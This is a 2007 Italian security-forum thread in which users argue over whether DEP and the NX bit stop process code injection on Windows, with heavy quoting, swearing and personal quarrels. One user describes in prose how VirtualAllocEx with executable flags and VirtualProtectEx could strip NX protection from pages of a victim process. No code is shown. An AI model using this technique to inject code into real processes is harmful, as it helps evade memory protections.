Il pezzo di codice che tu hai inserito non viene eseguito da una zona di memoria adibita alla mera memorizzazione di dati, viene eseguito da una zona neo-allocata. Non verrà bloccato. Perlomeno non dal software DEP né da qualunque altro software simile. E dubito anche dell'NXBit (hardware DEP) perché non corrisponde proprio a ciò per il quale è stato studiato. (A meno che, e questo sinceramente è un dubbio che mi è venuto ora, l'NX Bit marchi automaticamente tutta l'intera area del processo come NX eccetto le aree di code che vengono generate durante l'esecuzione iniziale del processo, che verrebbero marcate NW. In questo caso intercetterebbe anche il code injection standard oltre che a quello effettuato attraverso attacchi di buffer overflow. Ma ne dubito) non c'è bisogno di imbastire supposizioni sul nulla: l'NX bit delle pagine allocate dal sorgente che ho postato è disattivato per il semplice motivo che nel passare i flags alla VirtualAllocEx non sono stato tanto idiota da non specificare PAGE_EXECUTE, punto.
L'NX Bit (o XD Bit) ne bloccano l'esecuzione. E lì non ci sono molti fronzoli da dire: viene bloccato, punto. la differenza rispetto a quando l'ho detto io è che tu per dirlo hai dovuto fare la premessa che non ho quotato, e quindi hai fatto vedere di essere esperto.
Il pezzo di codice che tu hai inserito non viene eseguito da una zona di memoria adibita alla mera memorizzazione di dati, viene eseguito da una zona neo-allocata. Non verrà bloccato. Perlomeno non dal software DEP né da qualunque altro software simile. E dubito anche dell'NXBit (hardware DEP) perché non corrisponde proprio a ciò per il quale è stato studiato. (A meno che, e questo sinceramente è un dubbio che mi è venuto ora, l'NX Bit marchi automaticamente tutta l'intera area del processo come NX eccetto le aree di code che vengono generate durante l'esecuzione iniziale del processo, che verrebbero marcate NW. In questo caso intercetterebbe anche il code injection standard oltre che a quello effettuato attraverso attacchi di buffer overflow. Ma ne dubito) non c'è bisogno di imbastire supposizioni sul nulla: l'NX bit delle pagine allocate dal sorgente che ho postato è disattivato per il semplice motivo che nel passare i flags alla VirtualAllocEx non sono stato tanto idiota da non specificare PAGE_EXECUTE, punto.
71104
31-08-2007, 23:41
Si ma a molti di noi, non frega un cazzo di quello che state dicendo:D continuate la discussione altrove:D questi fantomatici "noi" non sono obbligati a leggere; se io sono OT sarà il moderatore a dirmelo.
71104
31-08-2007, 23:59
Che cpu hai? Cosa ti dice Windows nel dialog di DEP? ho dovuto googlare per trovare quella finestra; ci credi che negli ultimi 3 mesi (2 dei quali, Giugno e Luglio, trascorsi tra un'installazione e l'altra del MinGW, il cui installer è notoriamente una cacca) sarò andato a settare manualmente le variabili d'ambiente almeno 10 volte e non avevo mai visto le impostazioni di performance che stavano giusto lì sopra? :asd:
comunque mi dice che il mio processore NON supporta l'hardware-enforced DEP. sigh :(
l'hai provato con lua? con chee? :mbe:
Non credo, il mio ha DEP hardware e l'impostazione predefinita di Windows, a prescindere da supporto hardware o meno, e' comunque quella di Optin, controlla solo programmi e servizi Windows, non altra roba. L'impostazione va quindi cambiata in Always On. hai ragione :D
si può attivare per tutti i processi tranne quelli presenti in un set specificato. comunque Chukie una l'ha azzeccata: l'hardware enforced DEP nel caso del sorgente che ho postato non serve a nulla: sono io stesso a disattivare l'NX bit nell'allocare le pagine di memoria che mi servono, si tratta solamente di avere i permessi per farlo (permessi che di default hai).
comunque mi dice che il mio processore NON supporta l'hardware-enforced DEP. sigh :(
l'hai provato con lua? con chee? :mbe:
Non credo, il mio ha DEP hardware e l'impostazione predefinita di Windows, a prescindere da supporto hardware o meno, e' comunque quella di Optin, controlla solo programmi e servizi Windows, non altra roba. L'impostazione va quindi cambiata in Always On. hai ragione :D
si può attivare per tutti i processi tranne quelli presenti in un set specificato. comunque Chukie una l'ha azzeccata: l'hardware enforced DEP nel caso del sorgente che ho postato non serve a nulla: sono io stesso a disattivare l'NX bit nell'allocare le pagine di memoria che mi servono, si tratta solamente di avere i permessi per farlo (permessi che di default hai).
lucas84
01-09-2007, 00:02
sei di coccio:D dai su fai il bravo, avete spostato l'argomento su altro il quale non ha niente a che fare con il topic originale, ciao
Chukie
01-09-2007, 03:24
Allora, o non ci capiamo o vogliamo non capirci.
un file (ammesso che sia eseguibile) non può essere "iniettato" così com'è; se anche fosse uno di quei rarissimi casi di eseguibili che possono essere mappati così come sono poi dovrebbe comunque essere bindato ai moduli da cui dipende (per esempio le DLL di sistema). nella maggior parte dei casi invece le sezioni vanno spostate perché i loro RVA non corrispondono ai loro offset all'interno del file, ed inoltre talvolta l'eseguibile va anche rilocato. ecco perché non ha senso parlare di file injection, mentre si parla sempre di DLL injection.
Ma chi te l'ha detto che il file ESEGUIBILE (non dll) viene iniettato così com'è? Ti sto dicendo che in alcuni casi il termine non corretto di file injection sta ad indicare ad esempio una dll injection, nella quale un intero file (una dll) viene caricata all'interno del processo e non un solo pezzo di codice. Ma poi, scusa, che senso ha discutere su un termine non corretto? Tanto quello che volevo dire abbiamo appurato si tratti della stessa identica cosa. Certo, a meno che tu non voglia imbambolare le persone usando termini tecnici che dentro questa sezione pochi sono in grado di capire e ti osannano di conseguenza.
la differenza rispetto a quando l'ho detto io è che tu per dirlo hai dovuto fare la premessa che non ho quotato, e quindi hai fatto vedere di essere esperto.
La spiegazione che c'è stata è stata da introduzione per comprendere meglio il perché l'NX Bit non potrebbe intervenire su un code injection non causato da buffer overflow. Di certo se c'eravamo capiti prima evitavo di sprecare tempo per scriverlo.
non c'è bisogno di imbastire supposizioni sul nulla: l'NX bit delle pagine allocate dal sorgente che ho postato è disattivato per il semplice motivo che nel passare i flags alla VirtualAllocEx non sono stato tanto idiota da non specificare PAGE_EXECUTE, punto.
Supposizioni sul nulla? Non hai capito niente allora del dubbio che ho esposto sopra. Grazie al piffero che l'hai settati tu i flag durante l'iniezione di codice nel tuo sorgente. E sarebbe anche da idioti puri non specificare il PAGE_EXECUTE. E il tutto si ricollega al perché il DEP non prevederebbe l'intercettazione di questa tipologia di attacchi.
Il mio dubbio stava esclusivamente se l'NXBit (hardware DEP) nel momento in cui un processo viene eseguito, marcasse l'intera zona del processo come No Execute tranne la zona pura del codice. Facendo così, una volta che il processo viene caricato non c'è più possibilità di iniettare del codice eseguibile, bypassando eventuali software che tentino di allocare spazio in quel processo con flag di Execute (non gli verrebbe permesso).
Dubbio poi stupido perché facendo così non potresti più effettuare late binding, caricare dll nel momento in cui ti servono perché o vengono caricate all'avvio o altrimenti non avrebbero più modo di essere mappate nella zona di memoria del processo in questione (anche qui si potrebbe lavorare sotto questo punto di vista).
Uno cerca di essere tranquillo e di parlare il meno specifico e tecnico possibile, tenendo così la discussione alla portata di tutti. Ma certo, come è vizio di questa intera board, ci deve sempre essere qualcuno che ti deve aggredire per cercare di far vedere quanto è più bravo.
Un esempio arrogante è la frase:
comunque Chukie una l'ha azzeccata
Sei di coccio. Non è perché hai settato TU il PAGE_EXECUTE allora il DEP non funziona. È la tecnica del code injection che prevede quello che fai tu, ed è per quello che il DEP non serve per QUESTA tipologia di code injection, mentre previene la tipologia di code injection utilizzata attraverso delle falle all'interno del codice che permettono di iniettare del codice eseguibile all'interno della zona di memoria solitamente adibita esclusivamente a RW.
Non interverrò più, scusate l'intromissione. Chi doveva capirci qualcosa da questa discussione ha sicuramente capito.
Buonanotte
un file (ammesso che sia eseguibile) non può essere "iniettato" così com'è; se anche fosse uno di quei rarissimi casi di eseguibili che possono essere mappati così come sono poi dovrebbe comunque essere bindato ai moduli da cui dipende (per esempio le DLL di sistema). nella maggior parte dei casi invece le sezioni vanno spostate perché i loro RVA non corrispondono ai loro offset all'interno del file, ed inoltre talvolta l'eseguibile va anche rilocato. ecco perché non ha senso parlare di file injection, mentre si parla sempre di DLL injection.
Ma chi te l'ha detto che il file ESEGUIBILE (non dll) viene iniettato così com'è? Ti sto dicendo che in alcuni casi il termine non corretto di file injection sta ad indicare ad esempio una dll injection, nella quale un intero file (una dll) viene caricata all'interno del processo e non un solo pezzo di codice. Ma poi, scusa, che senso ha discutere su un termine non corretto? Tanto quello che volevo dire abbiamo appurato si tratti della stessa identica cosa. Certo, a meno che tu non voglia imbambolare le persone usando termini tecnici che dentro questa sezione pochi sono in grado di capire e ti osannano di conseguenza.
la differenza rispetto a quando l'ho detto io è che tu per dirlo hai dovuto fare la premessa che non ho quotato, e quindi hai fatto vedere di essere esperto.
La spiegazione che c'è stata è stata da introduzione per comprendere meglio il perché l'NX Bit non potrebbe intervenire su un code injection non causato da buffer overflow. Di certo se c'eravamo capiti prima evitavo di sprecare tempo per scriverlo.
non c'è bisogno di imbastire supposizioni sul nulla: l'NX bit delle pagine allocate dal sorgente che ho postato è disattivato per il semplice motivo che nel passare i flags alla VirtualAllocEx non sono stato tanto idiota da non specificare PAGE_EXECUTE, punto.
Supposizioni sul nulla? Non hai capito niente allora del dubbio che ho esposto sopra. Grazie al piffero che l'hai settati tu i flag durante l'iniezione di codice nel tuo sorgente. E sarebbe anche da idioti puri non specificare il PAGE_EXECUTE. E il tutto si ricollega al perché il DEP non prevederebbe l'intercettazione di questa tipologia di attacchi.
Il mio dubbio stava esclusivamente se l'NXBit (hardware DEP) nel momento in cui un processo viene eseguito, marcasse l'intera zona del processo come No Execute tranne la zona pura del codice. Facendo così, una volta che il processo viene caricato non c'è più possibilità di iniettare del codice eseguibile, bypassando eventuali software che tentino di allocare spazio in quel processo con flag di Execute (non gli verrebbe permesso).
Dubbio poi stupido perché facendo così non potresti più effettuare late binding, caricare dll nel momento in cui ti servono perché o vengono caricate all'avvio o altrimenti non avrebbero più modo di essere mappate nella zona di memoria del processo in questione (anche qui si potrebbe lavorare sotto questo punto di vista).
Uno cerca di essere tranquillo e di parlare il meno specifico e tecnico possibile, tenendo così la discussione alla portata di tutti. Ma certo, come è vizio di questa intera board, ci deve sempre essere qualcuno che ti deve aggredire per cercare di far vedere quanto è più bravo.
Un esempio arrogante è la frase:
comunque Chukie una l'ha azzeccata
Sei di coccio. Non è perché hai settato TU il PAGE_EXECUTE allora il DEP non funziona. È la tecnica del code injection che prevede quello che fai tu, ed è per quello che il DEP non serve per QUESTA tipologia di code injection, mentre previene la tipologia di code injection utilizzata attraverso delle falle all'interno del codice che permettono di iniettare del codice eseguibile all'interno della zona di memoria solitamente adibita esclusivamente a RW.
Non interverrò più, scusate l'intromissione. Chi doveva capirci qualcosa da questa discussione ha sicuramente capito.
Buonanotte
lucas84
01-09-2007, 05:03
Non interverrò più, scusate l'intromissione. Chi doveva capirci qualcosa da questa discussione ha sicuramente capito.
Buonanotte
Finalmente l'hai capito:D
Notte:)
Buonanotte
Finalmente l'hai capito:D
Notte:)
Chukie
01-09-2007, 08:17
Finalmente l'hai capito:D
Notte:)
Scendi dal piedistallo e non mi venire a dire che non ti atteggi a divo del cinema perché i tuoi stessi interventi in questo thread non sono altro che richiamo continuo agli altri e provocazione nei confronti di chi scrive (come d'altronde spesso sono i tuoi post in questa sezione, basta fare una semplice ricerca di tutti i post che hai scritto).
Hai problemi? Segnala ai moderatori. È loro il compito di richiamare gli utenti che vanno Off Topic e, in caso, di chiudere il topic.
Non è tuo il compito, né tantomeno quello di offendere gli altri facendo il polemico.
Ti ho detto qualcosa io a te? Siamo mai stati seduti a pranzo insieme?
Come io rispetto te, tu rispetta me. E mi riferisco alla frase:
Finalmente l'hai capito
Ci puoi mettere sopra trentacinque diversi smile, la frase era polemica.
Inoltre, come già detto sopra, io non vengo a insultare né a disturbare te. Perché se dovessi farlo, allora sottolinerei che l'unico tuo scopo all'interno di questo thread è stato quello di dire che non ti frega un cazzo di quello che si sta dicendo (a meno tu non ti sia immolato a portavoce ufficiale di tutti gli altri utenti della sezione sicurezza); un po' poco per uno che si permette di criticare a destra e a sinistra per tutto il forum tutti quanti, facendosi passare per l'esperto di sicurezza e poi non riuscendo ad afferrare bene quanto sia importante a livello di sicurezza un concetto quale quello sopra dibattuto e non riesce a parteciparvi in maniera costruttiva.
Scusate tutti di nuovo, mi sottraggo veramente alla discussione e anche alle future provocazioni.
Notte:)
Scendi dal piedistallo e non mi venire a dire che non ti atteggi a divo del cinema perché i tuoi stessi interventi in questo thread non sono altro che richiamo continuo agli altri e provocazione nei confronti di chi scrive (come d'altronde spesso sono i tuoi post in questa sezione, basta fare una semplice ricerca di tutti i post che hai scritto).
Hai problemi? Segnala ai moderatori. È loro il compito di richiamare gli utenti che vanno Off Topic e, in caso, di chiudere il topic.
Non è tuo il compito, né tantomeno quello di offendere gli altri facendo il polemico.
Ti ho detto qualcosa io a te? Siamo mai stati seduti a pranzo insieme?
Come io rispetto te, tu rispetta me. E mi riferisco alla frase:
Finalmente l'hai capito
Ci puoi mettere sopra trentacinque diversi smile, la frase era polemica.
Inoltre, come già detto sopra, io non vengo a insultare né a disturbare te. Perché se dovessi farlo, allora sottolinerei che l'unico tuo scopo all'interno di questo thread è stato quello di dire che non ti frega un cazzo di quello che si sta dicendo (a meno tu non ti sia immolato a portavoce ufficiale di tutti gli altri utenti della sezione sicurezza); un po' poco per uno che si permette di criticare a destra e a sinistra per tutto il forum tutti quanti, facendosi passare per l'esperto di sicurezza e poi non riuscendo ad afferrare bene quanto sia importante a livello di sicurezza un concetto quale quello sopra dibattuto e non riesce a parteciparvi in maniera costruttiva.
Scusate tutti di nuovo, mi sottraggo veramente alla discussione e anche alle future provocazioni.
71104
01-09-2007, 10:51
Si ma non centra molto con il topic:D come non centra niente il dep e cazzate varie, poi a cosa serve postare il sorgente di un injected:) ? mha:D
Cheers "il sorgente di un INJECTED"?? omg questa perla m'era sfuggita :asd:
"il sorgente di un INJECTED", lol, eccerto basta dirlo con dimestichezza che sembri già più esperto :asd:
Cheers "il sorgente di un INJECTED"?? omg questa perla m'era sfuggita :asd:
"il sorgente di un INJECTED", lol, eccerto basta dirlo con dimestichezza che sembri già più esperto :asd:
71104
01-09-2007, 11:19
Ma chi te l'ha detto che il file ESEGUIBILE (non dll) viene iniettato così com'è? è perché parli di iniettare files, non moduli eseguibili da mappare, rilocare, bindare. un file potrebbe essere anche un'immagine JPEG.
Ti sto dicendo che in alcuni casi il termine non corretto di file injection sta ad indicare ad esempio una dll injection, nella quale un intero file (una dll) viene caricata all'interno del processo e non un solo pezzo di codice. non sono uno che non si è mai occupato di questo genere di hacking (anzi, guarda questo thread: http://www.hwupgrade.it/forum/showthread.php?t=1522321), eppure "file injection" non l'avevo mai sentita.
Ma poi, scusa, che senso ha discutere su un termine non corretto? Tanto quello che volevo dire abbiamo appurato si tratti della stessa identica cosa. Certo, a meno che tu non voglia imbambolare le persone usando termini tecnici che dentro questa sezione pochi sono in grado di capire e ti osannano di conseguenza. ennò, perdonami, ma io ai livelli di "sorgente di un INJECTED" non ci arriverò mai :asd: :asd: :asd:
sto ancora ridendo :rotfl:
Il mio dubbio stava esclusivamente se l'NXBit (hardware DEP) nel momento in cui un processo viene eseguito, marcasse l'intera zona del processo come No Execute tranne la zona pura del codice. ovviamente no, e di "zona pura del codice" non ce n'è una sola. alla creazione del processo le prime regioni di memoria allocate sono quelle che contengono i moduli eseguibili mappati dal kernel; l'NX bit di queste pagine di memoria viene settato semplicemente in base ai flags specificati negli header delle varie sezioni: viene attivato solo se i flags includono IMAGE_SCN_MEM_EXECUTE. per gli header stessi invece non so, penso vengano impostate come PAGE_READONLY (quindi NX bit attivato).
ad ogni modo hai scritto tu stesso che era un dubbio stupido.
Sei di coccio. Non è perché hai settato TU il PAGE_EXECUTE allora il DEP non funziona. dove l'ho scritto?
Non interverrò più, scusate l'intromissione. Chi doveva capirci qualcosa da questa discussione ha sicuramente capito. tutti bravi a predicare, però se il tipo ti dava fastidio potevi essere tu a segnalarlo anziché dire a lui di segnalare gli altri. e fatti una risata, su, che quella dell'INJECTED non è male :asd: :asd: :rotfl: :rotfl:
Ti sto dicendo che in alcuni casi il termine non corretto di file injection sta ad indicare ad esempio una dll injection, nella quale un intero file (una dll) viene caricata all'interno del processo e non un solo pezzo di codice. non sono uno che non si è mai occupato di questo genere di hacking (anzi, guarda questo thread: http://www.hwupgrade.it/forum/showthread.php?t=1522321), eppure "file injection" non l'avevo mai sentita.
Ma poi, scusa, che senso ha discutere su un termine non corretto? Tanto quello che volevo dire abbiamo appurato si tratti della stessa identica cosa. Certo, a meno che tu non voglia imbambolare le persone usando termini tecnici che dentro questa sezione pochi sono in grado di capire e ti osannano di conseguenza. ennò, perdonami, ma io ai livelli di "sorgente di un INJECTED" non ci arriverò mai :asd: :asd: :asd:
sto ancora ridendo :rotfl:
Il mio dubbio stava esclusivamente se l'NXBit (hardware DEP) nel momento in cui un processo viene eseguito, marcasse l'intera zona del processo come No Execute tranne la zona pura del codice. ovviamente no, e di "zona pura del codice" non ce n'è una sola. alla creazione del processo le prime regioni di memoria allocate sono quelle che contengono i moduli eseguibili mappati dal kernel; l'NX bit di queste pagine di memoria viene settato semplicemente in base ai flags specificati negli header delle varie sezioni: viene attivato solo se i flags includono IMAGE_SCN_MEM_EXECUTE. per gli header stessi invece non so, penso vengano impostate come PAGE_READONLY (quindi NX bit attivato).
ad ogni modo hai scritto tu stesso che era un dubbio stupido.
Sei di coccio. Non è perché hai settato TU il PAGE_EXECUTE allora il DEP non funziona. dove l'ho scritto?
Non interverrò più, scusate l'intromissione. Chi doveva capirci qualcosa da questa discussione ha sicuramente capito. tutti bravi a predicare, però se il tipo ti dava fastidio potevi essere tu a segnalarlo anziché dire a lui di segnalare gli altri. e fatti una risata, su, che quella dell'INJECTED non è male :asd: :asd: :rotfl: :rotfl:
Sisupoika
01-09-2007, 14:16
Si ma non centra molto con il topic:D come non centra niente il dep e cazzate varie, poi a cosa serve postare il sorgente di un injected:) ? mha:D
Cheers
Non interrompere una discussione interessante :O :D
ho dovuto googlare per trovare quella finestra; ci credi che negli ultimi 3 mesi (2 dei quali, Giugno e Luglio, trascorsi tra un'installazione e l'altra del MinGW, il cui installer è notoriamente una cacca) sarò andato a settare manualmente le variabili d'ambiente almeno 10 volte e non avevo mai visto le impostazioni di performance che stavano giusto lì sopra? :asd:
LOL, capita :D
comunque mi dice che il mio processore NON supporta l'hardware-enforced DEP. sigh :(
beh, allora la sua utilita' e' si' limitata in questo caso :)
con chee? :mbe:
limited user account
hai ragione :D
si può attivare per tutti i processi tranne quelli presenti in un set specificato.
Ho sempre ragione :O
LOL scherzo naturalmente :D
comunque Chukie una l'ha azzeccata: l'hardware enforced DEP nel caso del sorgente che ho postato non serve a nulla: sono io stesso a disattivare l'NX bit nell'allocare le pagine di memoria che mi servono, si tratta solamente di avere i permessi per farlo (permessi che di default hai).
Si' ma non sei tu a marcare delle aree di memorie come non utilizzabili per l'esecuzione di codice, e' DEP :D
Quindi se usi una zona di memoria che non dovresti usare per l'esecuzione, DEP comunque entra in funzione
Ma chi te l'ha detto che il file ESEGUIBILE (non dll) viene iniettato così com'è? Ti sto dicendo che in alcuni casi il termine non corretto di file injection sta ad indicare ad esempio una dll injection, nella quale un intero file (una dll) viene caricata all'interno del processo e non un solo pezzo di codice.
Adesso e' molto piu' chiaro a cosa ti riferivi :D
La spiegazione che c'è stata è stata da introduzione per comprendere meglio il perché l'NX Bit non potrebbe intervenire su un code injection non causato da buffer overflow.
Questo e' esatto. Ma, come allora intendi eseguire una iniezione di codice, sia esso quello che vuoi?
Non interverrò più, scusate l'intromissione. Chi doveva capirci qualcosa da questa discussione ha sicuramente capito.
Buonanotte
C'mon, non c'e' motivo di prendersela per niente.
I tuoi interventi sono argomentati e quindi validi, e percio' apprezzati. ;)
Poco meno lo sono altri, ma purtroppo siamo in un forum dove ognuno spesso ha la liberta' di scrivere che gli pare..
cmq cio' non toglie che siamo OT, quindi magari sarebbe opportuno ritornare IT.
Cheers
Non interrompere una discussione interessante :O :D
ho dovuto googlare per trovare quella finestra; ci credi che negli ultimi 3 mesi (2 dei quali, Giugno e Luglio, trascorsi tra un'installazione e l'altra del MinGW, il cui installer è notoriamente una cacca) sarò andato a settare manualmente le variabili d'ambiente almeno 10 volte e non avevo mai visto le impostazioni di performance che stavano giusto lì sopra? :asd:
LOL, capita :D
comunque mi dice che il mio processore NON supporta l'hardware-enforced DEP. sigh :(
beh, allora la sua utilita' e' si' limitata in questo caso :)
con chee? :mbe:
limited user account
hai ragione :D
si può attivare per tutti i processi tranne quelli presenti in un set specificato.
Ho sempre ragione :O
LOL scherzo naturalmente :D
comunque Chukie una l'ha azzeccata: l'hardware enforced DEP nel caso del sorgente che ho postato non serve a nulla: sono io stesso a disattivare l'NX bit nell'allocare le pagine di memoria che mi servono, si tratta solamente di avere i permessi per farlo (permessi che di default hai).
Si' ma non sei tu a marcare delle aree di memorie come non utilizzabili per l'esecuzione di codice, e' DEP :D
Quindi se usi una zona di memoria che non dovresti usare per l'esecuzione, DEP comunque entra in funzione
Ma chi te l'ha detto che il file ESEGUIBILE (non dll) viene iniettato così com'è? Ti sto dicendo che in alcuni casi il termine non corretto di file injection sta ad indicare ad esempio una dll injection, nella quale un intero file (una dll) viene caricata all'interno del processo e non un solo pezzo di codice.
Adesso e' molto piu' chiaro a cosa ti riferivi :D
La spiegazione che c'è stata è stata da introduzione per comprendere meglio il perché l'NX Bit non potrebbe intervenire su un code injection non causato da buffer overflow.
Questo e' esatto. Ma, come allora intendi eseguire una iniezione di codice, sia esso quello che vuoi?
Non interverrò più, scusate l'intromissione. Chi doveva capirci qualcosa da questa discussione ha sicuramente capito.
Buonanotte
C'mon, non c'e' motivo di prendersela per niente.
I tuoi interventi sono argomentati e quindi validi, e percio' apprezzati. ;)
Poco meno lo sono altri, ma purtroppo siamo in un forum dove ognuno spesso ha la liberta' di scrivere che gli pare..
cmq cio' non toglie che siamo OT, quindi magari sarebbe opportuno ritornare IT.
lucas84
01-09-2007, 14:37
Scendi dal piedistallo e non mi venire a dire che non ti atteggi a divo del cinema perché i tuoi stessi interventi in questo thread non sono altro che richiamo continuo agli altri e provocazione nei confronti di chi scrive (come d'altronde spesso sono i tuoi post in questa sezione, basta fare una semplice ricerca di tutti i post che hai scritto).
Hai problemi? Segnala ai moderatori. È loro il compito di richiamare gli utenti che vanno Off Topic e, in caso, di chiudere il topic.
Non è tuo il compito, né tantomeno quello di offendere gli altri facendo il polemico.
Ti ho detto qualcosa io a te? Siamo mai stati seduti a pranzo insieme?
Come io rispetto te, tu rispetta me. E mi riferisco alla frase:
Ci puoi mettere sopra trentacinque diversi smile, la frase era polemica.
Inoltre, come già detto sopra, io non vengo a insultare né a disturbare te. Perché se dovessi farlo, allora sottolinerei che l'unico tuo scopo all'interno di questo thread è stato quello di dire che non ti frega un cazzo di quello che si sta dicendo (a meno tu non ti sia immolato a portavoce ufficiale di tutti gli altri utenti della sezione sicurezza); un po' poco per uno che si permette di criticare a destra e a sinistra per tutto il forum tutti quanti, facendosi passare per l'esperto di sicurezza e poi non riuscendo ad afferrare bene quanto sia importante a livello di sicurezza un concetto quale quello sopra dibattuto e non riesce a parteciparvi in maniera costruttiva.
Scusate tutti di nuovo, mi sottraggo veramente alla discussione e anche alle future provocazioni.
Scendeteci voi dal piedistallo:) comunque non hai capito cosa intendevo, nemmeno ho voglia di spiegartelo, caro 71104 spara meno cazzate che è meglio:D
Ciao
Hai problemi? Segnala ai moderatori. È loro il compito di richiamare gli utenti che vanno Off Topic e, in caso, di chiudere il topic.
Non è tuo il compito, né tantomeno quello di offendere gli altri facendo il polemico.
Ti ho detto qualcosa io a te? Siamo mai stati seduti a pranzo insieme?
Come io rispetto te, tu rispetta me. E mi riferisco alla frase:
Ci puoi mettere sopra trentacinque diversi smile, la frase era polemica.
Inoltre, come già detto sopra, io non vengo a insultare né a disturbare te. Perché se dovessi farlo, allora sottolinerei che l'unico tuo scopo all'interno di questo thread è stato quello di dire che non ti frega un cazzo di quello che si sta dicendo (a meno tu non ti sia immolato a portavoce ufficiale di tutti gli altri utenti della sezione sicurezza); un po' poco per uno che si permette di criticare a destra e a sinistra per tutto il forum tutti quanti, facendosi passare per l'esperto di sicurezza e poi non riuscendo ad afferrare bene quanto sia importante a livello di sicurezza un concetto quale quello sopra dibattuto e non riesce a parteciparvi in maniera costruttiva.
Scusate tutti di nuovo, mi sottraggo veramente alla discussione e anche alle future provocazioni.
Scendeteci voi dal piedistallo:) comunque non hai capito cosa intendevo, nemmeno ho voglia di spiegartelo, caro 71104 spara meno cazzate che è meglio:D
Ciao
71104
01-09-2007, 14:56
limited user account non gli farebbe niente: puoi eseguirlo con qualunque account, anche con un account che non ha accesso a quasi nessun file (giusto quelli di sistema magari), il problema è che due processi da esso avviati potranno sempre e comunque sfrangersi a vicenda a meno che uno dei due (o entrambi) non abbiano l'accortezza di modificare la loro stessa ACL. mi pare di ricordare che di default un processo alla creazione eredita semplicemente lo stesso identico security descriptor del processo che l'ha creato. non so invece da dove venga preso il security descriptor in caso di chiamata a CreateProcessAsUser e simili (cioè creazione di processo sotto un altro account), ma tanto di default l'unico account abilitato a loggare altri utenti è SYSTEM, quindi è un'evenienza che non ci riguarda.
Si' ma non sei tu a marcare delle aree di memorie come non utilizzabili per l'esecuzione di codice, e' DEP :D
Quindi se usi una zona di memoria che non dovresti usare per l'esecuzione, DEP comunque entra in funzione no no, t'assicuro che sono proprio io :D
l'NX bit (se il mio processore ce l'avesse avuto) delle pagine che ho allocato in quel codice con VirtualAllocEx sarebbe stato attivato se avessi specificato ad esempio solamente PAGE_READWRITE, ma è disattivato perché io ho specificato PAGE_EXECUTE_READWRITE. ed inoltre in teoria una volta ottenuto l'HANDLE del processo vittima coi permessi necessari io potrei anche andare a cercare con VirtualQueryEx tutte le pagine di memoria allocate nel processo, prendere tutte quelle protette dall'NX bit e disattivare l'NX bit passando PAGE_READWRITE alla VirtualProtectEx. è solo questione di avere i permessi :)
ti starai chiedendo allora a che serve il DEP. il DEP serve a tutt'altro: serve nell'ipotesi di uno shellcode che sia andato a finire nello stack a causa di un bug. tale shellcode potrà anche contenere delle chiamate a VirtualProtect che sproteggano la memoria, ma è tutto inutile perché l'intero shellcode non verrà minimamente eseguito (non appena si tenta di eseguire una pagina di stack con NX bit attivato salta l'eccezione e il processo crasha, fine). contro i buffer overflow l'hardware enforced DEP funziona perfettamente.
Si' ma non sei tu a marcare delle aree di memorie come non utilizzabili per l'esecuzione di codice, e' DEP :D
Quindi se usi una zona di memoria che non dovresti usare per l'esecuzione, DEP comunque entra in funzione no no, t'assicuro che sono proprio io :D
l'NX bit (se il mio processore ce l'avesse avuto) delle pagine che ho allocato in quel codice con VirtualAllocEx sarebbe stato attivato se avessi specificato ad esempio solamente PAGE_READWRITE, ma è disattivato perché io ho specificato PAGE_EXECUTE_READWRITE. ed inoltre in teoria una volta ottenuto l'HANDLE del processo vittima coi permessi necessari io potrei anche andare a cercare con VirtualQueryEx tutte le pagine di memoria allocate nel processo, prendere tutte quelle protette dall'NX bit e disattivare l'NX bit passando PAGE_READWRITE alla VirtualProtectEx. è solo questione di avere i permessi :)
ti starai chiedendo allora a che serve il DEP. il DEP serve a tutt'altro: serve nell'ipotesi di uno shellcode che sia andato a finire nello stack a causa di un bug. tale shellcode potrà anche contenere delle chiamate a VirtualProtect che sproteggano la memoria, ma è tutto inutile perché l'intero shellcode non verrà minimamente eseguito (non appena si tenta di eseguire una pagina di stack con NX bit attivato salta l'eccezione e il processo crasha, fine). contro i buffer overflow l'hardware enforced DEP funziona perfettamente.
71104
01-09-2007, 14:56
Scendeteci voi dal piedistallo:) comunque non hai capito cosa intendevo, nemmeno ho voglia di spiegartelo, caro 71104 spara meno cazzate che è meglio:D bingo. segnalato :asd:
lucas84
01-09-2007, 14:59
bingo. segnalato :asd:
segnala segnala:D
segnala segnala:D
Sisupoika
01-09-2007, 21:06
Scendeteci voi dal piedistallo:) comunque non hai capito cosa intendevo, nemmeno ho voglia di spiegartelo, caro 71104 spara meno cazzate che è meglio:D
Ciao
Scusa Luca, eh, ma qual e' il problema? :)
Chi deve scendere da dove?
Che noi siamo andati OT ok, ci siamo capiti, mi scuso a nome degli interessati che sicuramente saranno d'accordo in questo proposito.
Ma non ti pare di aver esagerato un po'?
Se da una parte noi siamo andati OT in questo thread, comunque parlando di qualcosa inerente alla sezione, qual e' l'utilita' dei tuoi post in questo thread?
Sinceramente non ne vedo. Hai gia' "richiamato" una volta, che motivo hai per scrivere piu' volte la stessa cosa?
Se c'e' qualcosa che non va penso ci siano moderatori, no?
Comunque dopo questo post cerchero' di non andare piu' OT.
Chiedo scusa per l'OT, soprattutto all'autore del thread.
Ciao
Scusa Luca, eh, ma qual e' il problema? :)
Chi deve scendere da dove?
Che noi siamo andati OT ok, ci siamo capiti, mi scuso a nome degli interessati che sicuramente saranno d'accordo in questo proposito.
Ma non ti pare di aver esagerato un po'?
Se da una parte noi siamo andati OT in questo thread, comunque parlando di qualcosa inerente alla sezione, qual e' l'utilita' dei tuoi post in questo thread?
Sinceramente non ne vedo. Hai gia' "richiamato" una volta, che motivo hai per scrivere piu' volte la stessa cosa?
Se c'e' qualcosa che non va penso ci siano moderatori, no?
Comunque dopo questo post cerchero' di non andare piu' OT.
Chiedo scusa per l'OT, soprattutto all'autore del thread.
lucas84
01-09-2007, 22:43
Scusa Luca, eh, ma qual e' il problema? :)
Chi deve scendere da dove?
Che noi siamo andati OT ok, ci siamo capiti, mi scuso a nome degli interessati che sicuramente saranno d'accordo in questo proposito.
Ma non ti pare di aver esagerato un po'?
Se da una parte noi siamo andati OT in questo thread, comunque parlando di qualcosa inerente alla sezione, qual e' l'utilita' dei tuoi post in questo thread?
Sinceramente non ne vedo. Hai gia' "richiamato" una volta, che motivo hai per scrivere piu' volte la stessa cosa?
Se c'e' qualcosa che non va penso ci siano moderatori, no?
Comunque dopo questo post cerchero' di non andare piu' OT.
Chiedo scusa per l'OT, soprattutto all'autore del thread.
